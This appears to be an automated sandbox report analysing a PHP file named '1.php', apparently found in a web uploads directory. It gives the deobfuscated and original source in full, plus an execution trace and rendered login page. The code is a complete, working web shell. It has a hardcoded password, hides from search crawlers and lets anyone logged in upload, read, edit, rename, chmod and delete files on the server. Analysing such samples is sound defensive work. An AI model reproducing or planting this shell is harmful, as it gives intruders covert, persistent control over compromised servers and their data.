PHP Malware Analysis

1.php

md5: f08c6d27e38b8a09888a9920528fb658

Jump to:

Screenshot


Attributes

Environment

Files

Input

Title
  • Administrator (HTML)

URLs
  • https://fonts.googleapis.com/css?family=Fredericka+the+Great|Kaushan+Script|Press+Start+2P|Rationale (Deobfuscated, Original)
  • https://fonts.googleapis.com/css?family=Lacquer|&display=swap (Deobfuscated, Original)
  • https://images.pexels.com/videos/3045163/free-video-3045163.jpg?auto=compress& (HTML)
  • https://images.pexels.com/videos/3045163/free-video-3045163.jpg?auto=compress&cs=tinysrgb&dpr=1&w=500 (Deobfuscated, HTML, Original)


Deobfuscated PHP code

<?php

$username = "anbu";
$password = "anburoot1337-kakashi";
$email = "#";
@error_reporting(4);
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
echo "<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\" />";
echo "<link href=data:image/gif;https://images.pexels.com/videos/3045163/free-video-3045163.jpg?auto=compress&cs=tinysrgb&dpr=1&w=500 rel=icon type=image/x-icon />";
echo "<style>\r\n    html { background:url(https://images.pexels.com/videos/3045163/free-video-3045163.jpg?auto=compress&cs=tinysrgb&dpr=1&w=500) black;\r\n    </style>";
if ($_COOKIE["user"] != $username && $_COOKIE["pass"] != md5($password)) {
    if ($_POST["usrname"] == $username && $_POST["passwrd"] == $password) {
        print '<script>document.cookie="user=' . $_POST["usrname"] . ';";document.cookie="pass=' . md5($_POST["passwrd"]) . ';";</script>';
        if ($email != "") {
            mail_alert();
        }
    } else {
        if ($_POST['usrname']) {
            print "<script>alert(\"Invalid username and Password\");</script>";
        }
        echo "<title>Administrator</title><center><br><br>\r\n            <div id=loginbox><p><font face=\"verdana,arial\" size=-1>\r\n            <font color=orange>>>>>>>>>>></font><font color=white>>>>>><<<<<</font><font color=green>>>>>>>>>>></font>\r\n            <center><table cellpadding='2' cellspacing='0' border='0' id='ap_table'>\r\n            <tr><td bgcolor=\"green\"><table cellpadding='0' cellspacing='0' border='0' width='100%'><tr><td bgcolor=\"green\" align=center style=\"padding:2;padding-bottom:4\"><b><font color=\"white\" size=-1 color=\"white\" face=\"verdana,arial\"><b>Private \r\n            Administrator</b></font></th></tr>\r\n            <tr><td bgcolor=\"black\" style=\"padding:5\">\r\n            <form method=\"post\">\r\n            <input type=\"hidden\" name=\"action\" value=\"login\">\r\n            <input type=\"hidden\" name=\"hide\" value=\"\">\r\n            <center><table>\r\n            <tr><td><font color=\"green\" face=\"verdana,arial\" size=-1>Login:</font></td><td><input type=\"text\" size=\"30\" name=\"usrname\" value=\"username\" onfocus=\"if (this.value == 'username'){this.value = '';}\"></td></tr>\r\n            <tr><td><center><font color=\"green\" face=\"verdana,arial\" size=-1>Password:</font></td><td><input type=\"password\" size=\"30\" name=\"passwrd\" value=\"password\" onfocus=\"if (this.value == 'password') this.value = '';\"></td></tr>\r\n            <tr><td><font face=\"verdana,arial\" size=-1>&nbsp;</font></td><td><font face=\"verdana,arial\" size=-1><input type=\"submit\" value=\"Enter\"></font></td></tr></table>\r\n            </div></center>";
        exit;
    }
}
@set_time_limit(0);
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\r\n<html>\r\n<head>\r\n<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\r\n<title>Administrator</title>\r\n<style>\r\nbody{\r\nfont-family: \"Iceberg\";\r\nbackground-color: black;\r\ncolor:red;\r\n}\r\n#content tr:hover{\r\nbackground-color: #191919;\r\ntext-shadow:0px 0px 10px #fff;\r\n}\r\n\r\n#content .first{\r\nbackground-color: #191919;\r\n}\r\ntable{\r\nborder: 1px #000000 dotted;\r\n}\r\na{\r\ncolor:white;\r\ntext-decoration: none;\r\n}\r\na:hover{\r\ncolor:red;\r\ntext-shadow:0px 0px 10px #ffffff;\r\n}\r\ninput,select,textarea{\r\nborder: 1px #000000 solid;\r\n-moz-border-radius: 5px;\r\n-webkit-border-radius:5px;\r\nborder-radius:5px;\r\n}\r\n</style>\r\n<style type=\"text/css\">@import url(\"https://fonts.googleapis.com/css?family=Fredericka+the+Great|Kaushan+Script|Press+Start+2P|Rationale\")\r\n</style>\r\n</head>\r\n<body>\r\n<link href=\"https://fonts.googleapis.com/css?family=Lacquer|&display=swap\" rel=\"stylesheet\">\r\n<h1><center><b><font color=\"red\" face=\"iceberg\">-=[ Private </font><font color=\"white\" face=\"iceberg\"></font> <font color=\"white\" face=\"iceberg\">Administrator]=-</font></b><br>\r\n            </center></h1>\r\n            <font face=\"iceberg\">\r\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr><td><font color=\"lime\">Path :</font> ";
if (isset($_GET['path'])) {
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$paths[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $pat . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<font color=\"lime\">Upload File Success!</font><br />";
    } else {
        echo "<font color=\"red\">Failed for Upload File!</font><br />";
    }
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\r\n<font color=\"lime\">File Upload :</font> <input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"upload\" />\r\n</form>\r\n</td></tr>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo "</tr></td></table><br />";
    echo '<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<font color=\"lime\">Change Permission Success~!</font><br />";
            } else {
                echo "<font color=\"red\">Failed for Change Permission !</font><br />";
            }
        }
        echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<font color=\"lime\">Change Name Success!</font><br />";
            } else {
                echo "<font color=\"red\">Failed for Change Name !</font><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<font color=\"lime\">Edit File Success!</font><br />";
            } else {
                echo "<font color=\"red\">Failed for Edit File!</font><br />";
            }
            fclose($fp);
        }
        echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
    }
    echo "</center>";
} else {
    echo "</table><br /><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<font color=\"lime\">Delete Dir Success!</font><br />";
            } else {
                echo "<font color=\"red\">Failed for Delete Dir!</font><br />";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"lime\">Delete File Success!</font><br />";
            } else {
                echo "<font color=\"red\">Failed for Edit File!</font><br />";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>";
    foreach ($scandir as $dir) {
        if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
            continue;
        }
        echo "<tr>\r\n<td><a href=\"?path={$path}/{$dir}\">{$dir}</a></td>\r\n<td><center>--</center></td>\r\n<td><center>";
        if (is_writable("{$path}/{$dir}")) {
            echo "<font color=\"lime\">";
        } elseif (!is_readable("{$path}/{$dir}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$dir}");
        if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
            echo "</font>";
        }
        echo "</center></td>\r\n<td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n<select name=\"opt\">\r\n<option value=\"\"></option>\r\n<option value=\"delete\">Delete</option>\r\n<option value=\"chmod\">Chmod</option>\r\n<option value=\"rename\">Rename</option>\r\n</select>\r\n<input type=\"hidden\" name=\"type\" value=\"dir\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\r\n<input type=\"submit\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file("{$path}/{$file}")) {
            continue;
        }
        $size = filesize("{$path}/{$file}") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo "<tr>\r\n<td><a href=\"?filesrc={$path}/{$file}&path={$path}\">{$file}</a></td>\r\n<td><center>" . $size . "</center></td>\r\n<td><center>";
        if (is_writable("{$path}/{$file}")) {
            echo "<font color=\"lime\">";
        } elseif (!is_readable("{$path}/{$file}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$file}");
        if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
            echo "</font>";
        }
        echo "</center></td>\r\n<td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n<select name=\"opt\">\r\n<option value=\"\"></option>\r\n<option value=\"delete\">Delete</option>\r\n<option value=\"chmod\">Chmod</option>\r\n<option value=\"rename\">Rename</option>\r\n<option value=\"edit\">Edit</option>\r\n</select>\r\n<input type=\"hidden\" name=\"type\" value=\"file\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\r\n<input type=\"submit\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
    }
    echo "</table>\r\n</div>";
}
echo "<br /><center><font color=\"white\"></font><font color=\"red\">Administrator</font></center>\r\n</BODY>\r\n</HTML>";
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}

Execution traces

data/traces/f08c6d27e38b8a09888a9920528fb658_trace-1676250544.5028.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:09:30.400642]
1	0	1	0.000176	393464
1	3	0	0.000507	454200	{main}	1		/var/www/html/uploads/1.php	0	0
1		A						/var/www/html/uploads/1.php	3	$username = 'anbu'
1		A						/var/www/html/uploads/1.php	4	$password = 'anburoot1337-kakashi'
1		A						/var/www/html/uploads/1.php	5	$email = '#'
2	4	0	0.000560	454200	error_reporting	0		/var/www/html/uploads/1.php	7	1	4
2	4	1	0.000574	454240
2	4	R			0
1		A						/var/www/html/uploads/1.php	11	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
2	5	0	0.000607	454200	implode	0		/var/www/html/uploads/1.php	12	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
2	5	1	0.000627	454344
2	5	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
2	6	0	0.000645	454280	preg_match	0		/var/www/html/uploads/1.php	12	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i'	'python-requests/2.25.1'
2	6	1	0.000662	454344
2	6	R			0
2	7	0	0.000678	454200	md5	0		/var/www/html/uploads/1.php	26	1	'anburoot1337-kakashi'
2	7	1	0.000693	454296
2	7	R			'39ec19da19e78b1b9daddda462a6a1a5'
			0.000729	375080
TRACE END   [2023-02-12 23:09:30.401227]


Generated HTML code

<html><head><meta name="ROBOTS" content="NOINDEX, NOFOLLOW"><link href="data:image/gif;https://images.pexels.com/videos/3045163/free-video-3045163.jpg?auto=compress&amp;cs=tinysrgb&amp;dpr=1&amp;w=500" rel="icon" type="image/x-icon"><style>
    html { background:url(https://images.pexels.com/videos/3045163/free-video-3045163.jpg?auto=compress&cs=tinysrgb&dpr=1&w=500) black;
    </style><title>Administrator</title></head><body><center><br><br>
            <div id="loginbox"><p><font face="verdana,arial" size="-1">
            <font color="orange">&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;</font><font color="white">&gt;&gt;&gt;&gt;&gt;&lt;&lt;&lt;&lt;&lt;</font><font color="green">&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;</font>
            </font></p><center><table cellpadding="2" cellspacing="0" border="0" id="ap_table">
            <tbody><tr><td bgcolor="green"><table cellpadding="0" cellspacing="0" border="0" width="100%"><tbody><tr><td bgcolor="green" align="center" style="padding:2;padding-bottom:4"><b><font color="white" size="-1" face="verdana,arial"><b>Private 
            Administrator</b></font></b></td></tr>
            <tr><td bgcolor="black" style="padding:5">
            <form method="post">
            <input type="hidden" name="action" value="login">
            <input type="hidden" name="hide" value="">
            <center><table>
            <tbody><tr><td><font color="green" face="verdana,arial" size="-1">Login:</font></td><td><input type="text" size="30" name="usrname" value="username" onfocus="if (this.value == 'username'){this.value = '';}"></td></tr>
            <tr><td><center><font color="green" face="verdana,arial" size="-1">Password:</font></center></td><td><input type="password" size="30" name="passwrd" value="password" onfocus="if (this.value == 'password') this.value = '';"></td></tr>
            <tr><td><font face="verdana,arial" size="-1">&nbsp;</font></td><td><font face="verdana,arial" size="-1"><input type="submit" value="Enter"></font></td></tr></tbody></table>
            </center></form></td></tr></tbody></table></td></tr></tbody></table></center></div></center></body></html>

Original PHP code

<?php

$username="anbu";
$password="anburoot1337-kakashi";
$email="#";

@error_reporting(4);

if(!empty($_SERVER['HTTP_USER_AGENT']))
{
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))
    {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
echo "<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\" />"; //For Ensuring... Fuck all Robots...



    echo "<link href=data:image/gif;https://images.pexels.com/videos/3045163/free-video-3045163.jpg?auto=compress&cs=tinysrgb&dpr=1&w=500 rel=icon type=image/x-icon />";
    echo "<style>
    html { background:url(https://images.pexels.com/videos/3045163/free-video-3045163.jpg?auto=compress&cs=tinysrgb&dpr=1&w=500) black;
    </style>";
    if($_COOKIE["user"] != $username && $_COOKIE["pass"] != md5($password))
    {
        if($_POST["usrname"]==$username && $_POST["passwrd"]==$password)
        {
            print'<script>document.cookie="user='.$_POST["usrname"].';";document.cookie="pass='.md5($_POST["passwrd"]).';";</script>';
            if($email!="")
            {
                mail_alert();
            }
        }
        else
        {
            if($_POST['usrname'])
            {
                print'<script>alert("Invalid username and Password");</script>';
            }
            echo '<title>Administrator</title><center><br><br>
            <div id=loginbox><p><font face="verdana,arial" size=-1>
            <font color=orange>>>>>>>>>>></font><font color=white>>>>>><<<<<</font><font color=green>>>>>>>>>>></font>
            <center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
            <tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>Private 
            Administrator</b></font></th></tr>
            <tr><td bgcolor="black" style="padding:5">
            <form method="post">
            <input type="hidden" name="action" value="login">
            <input type="hidden" name="hide" value="">
            <center><table>
            <tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" value="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
            <tr><td><center><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="passwrd" value="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
            <tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Enter"></font></td></tr></table>
            </div></center>';
            exit;
        }
    }

 @set_time_limit(0);
 if(get_magic_quotes_gpc()){ foreach($_POST as $key=>$value){ $_POST[$key] = stripslashes($value);
 } }
echo '<!DOCTYPE HTML>
<html>
<head>
<link href="" rel="stylesheet" type="text/css">
<title>Administrator</title>
<style>
body{
font-family: "Iceberg";
background-color: black;
color:red;
}
#content tr:hover{
background-color: #191919;
text-shadow:0px 0px 10px #fff;
}

#content .first{
background-color: #191919;
}
table{
border: 1px #000000 dotted;
}
a{
color:white;
text-decoration: none;
}
a:hover{
color:red;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
<style type="text/css">@import url("https://fonts.googleapis.com/css?family=Fredericka+the+Great|Kaushan+Script|Press+Start+2P|Rationale")
</style>
</head>
<body>
<link href="https://fonts.googleapis.com/css?family=Lacquer|&display=swap" rel="stylesheet">
<h1><center><b><font color="red" face="iceberg">-=[ Private </font><font color="white" face="iceberg"></font> <font color="white" face="iceberg">Administrator]=-</font></b><br>
            </center></h1>
            <font face="iceberg">
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td><font color="lime">Path :</font> ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="lime">Upload File Success!</font><br />';
}else{
echo '<font color="red">Failed for Upload File!</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
<font color="lime">File Upload :</font> <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="lime">Change Permission Success~!</font><br />';
}else{
echo '<font color="red">Failed for Change Permission !</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="lime">Change Name Success!</font><br />';
}else{
echo '<font color="red">Failed for Change Name !</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="lime">Edit File Success!</font><br />';
}else{
echo '<font color="red">Failed for Edit File!</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="lime">Delete Dir Success!</font><br />';
}else{
echo '<font color="red">Failed for Delete Dir!</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="lime">Delete File Success!</font><br />';
}else{
echo '<font color="red">Failed for Edit File!</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="lime">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="lime">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<br /><center><font color="white"></font><font color="red">Administrator</font></center>
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>